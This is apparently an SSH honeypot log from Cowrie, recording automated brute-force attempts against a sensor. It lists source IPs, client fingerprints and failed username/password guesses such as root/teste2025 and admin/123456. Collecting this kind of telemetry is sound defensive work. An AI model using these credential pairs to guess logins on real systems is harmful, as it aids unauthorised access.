{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:20.004556Z","src_ip":"103.176.20.115","session":"a25d6109b110","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:20.259371Z","src_ip":"103.176.20.115","session":"a25d6109b110","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"teste2025","message":"login attempt [root/teste2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:21.310221Z","src_ip":"103.176.20.115","session":"a25d6109b110","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:22.566834Z","src_ip":"103.176.20.115","session":"a25d6109b110","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":54590,"dst_ip":"10.17.0.5","dst_port":22,"session":"dcf562d73702","protocol":"ssh","message":"New connection: 176.65.139.103:54590 (10.17.0.5:22) [session: dcf562d73702]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:24.213570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:24.217669Z","src_ip":"176.65.139.103","session":"dcf562d73702","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:24.298753Z","src_ip":"176.65.139.103","session":"dcf562d73702","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456","message":"login attempt [admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:24.546845Z","src_ip":"176.65.139.103","session":"dcf562d73702","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:25.639696Z","src_ip":"176.65.139.103","session":"dcf562d73702","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":54598,"dst_ip":"10.17.0.5","dst_port":22,"session":"c79e0fe2f5a8","protocol":"ssh","message":"New connection: 176.65.139.103:54598 (10.17.0.5:22) [session: c79e0fe2f5a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:31.304785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:31.374129Z","src_ip":"176.65.139.103","session":"c79e0fe2f5a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:31.424690Z","src_ip":"176.65.139.103","session":"c79e0fe2f5a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"work","password":"work","message":"login attempt [work/work] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:31.906549Z","src_ip":"176.65.139.103","session":"c79e0fe2f5a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:33.008399Z","src_ip":"176.65.139.103","session":"c79e0fe2f5a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":52826,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2860a90b866","protocol":"ssh","message":"New connection: 176.65.139.103:52826 (10.17.0.5:22) [session: e2860a90b866]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:38.497666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:38.501093Z","src_ip":"176.65.139.103","session":"e2860a90b866","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:38.583188Z","src_ip":"176.65.139.103","session":"e2860a90b866","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tools","password":"tools","message":"login attempt [tools/tools] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:38.832208Z","src_ip":"176.65.139.103","session":"e2860a90b866","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:39.943138Z","src_ip":"176.65.139.103","session":"e2860a90b866","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":55150,"dst_ip":"10.17.0.5","dst_port":22,"session":"aaa96ef1ad3e","protocol":"ssh","message":"New connection: 176.65.139.103:55150 (10.17.0.5:22) [session: aaa96ef1ad3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:45.803144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:45.807279Z","src_ip":"176.65.139.103","session":"aaa96ef1ad3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:45.888930Z","src_ip":"176.65.139.103","session":"aaa96ef1ad3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"potok","password":"potok","message":"login attempt [potok/potok] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:46.162497Z","src_ip":"176.65.139.103","session":"aaa96ef1ad3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.184.144.220","src_port":60268,"dst_ip":"10.17.0.5","dst_port":22,"session":"dfef2b8f90d6","protocol":"ssh","message":"New connection: 202.184.144.220:60268 (10.17.0.5:22) [session: dfef2b8f90d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:46.391572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:46.398492Z","src_ip":"202.184.144.220","session":"dfef2b8f90d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:46.638881Z","src_ip":"202.184.144.220","session":"dfef2b8f90d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:47.290769Z","src_ip":"176.65.139.103","session":"aaa96ef1ad3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rooting","message":"login attempt [root/rooting] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:47.633287Z","src_ip":"202.184.144.220","session":"dfef2b8f90d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:48.876519Z","src_ip":"202.184.144.220","session":"dfef2b8f90d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35510,"dst_ip":"159.203.135.109","dst_port":22,"session":"fec276c91ab3","protocol":"ssh","message":"New connection: 159.203.92.129:35510 (159.203.135.109:22) [session: fec276c91ab3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:49.327862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:49.337178Z","src_ip":"159.203.92.129","session":"fec276c91ab3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:49.340518Z","src_ip":"159.203.92.129","session":"fec276c91ab3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"1234@abc","message":"login attempt [ansible/1234@abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:49.353051Z","src_ip":"159.203.92.129","session":"fec276c91ab3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:50.358972Z","src_ip":"159.203.92.129","session":"fec276c91ab3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":40312,"dst_ip":"10.17.0.5","dst_port":22,"session":"f51a63806123","protocol":"ssh","message":"New connection: 176.65.139.103:40312 (10.17.0.5:22) [session: f51a63806123]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:53.077182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:53.081060Z","src_ip":"176.65.139.103","session":"f51a63806123","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:53.162362Z","src_ip":"176.65.139.103","session":"f51a63806123","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123321","message":"login attempt [root/Aa123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:53.411731Z","src_ip":"176.65.139.103","session":"f51a63806123","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.130","src_port":60340,"dst_ip":"159.203.135.109","dst_port":22,"session":"2660fddec24e","protocol":"ssh","message":"New connection: 37.143.61.130:60340 (159.203.135.109:22) [session: 2660fddec24e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:54.406128Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:54.516296Z","src_ip":"176.65.139.103","session":"f51a63806123","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"52.231.220.210","src_port":53536,"dst_ip":"10.17.0.5","dst_port":22,"session":"2569e38adfde","protocol":"ssh","message":"New connection: 52.231.220.210:53536 (10.17.0.5:22) [session: 2569e38adfde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:55.204053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:11:55.209223Z","src_ip":"52.231.220.210","session":"2569e38adfde","protocol":"ssh"}
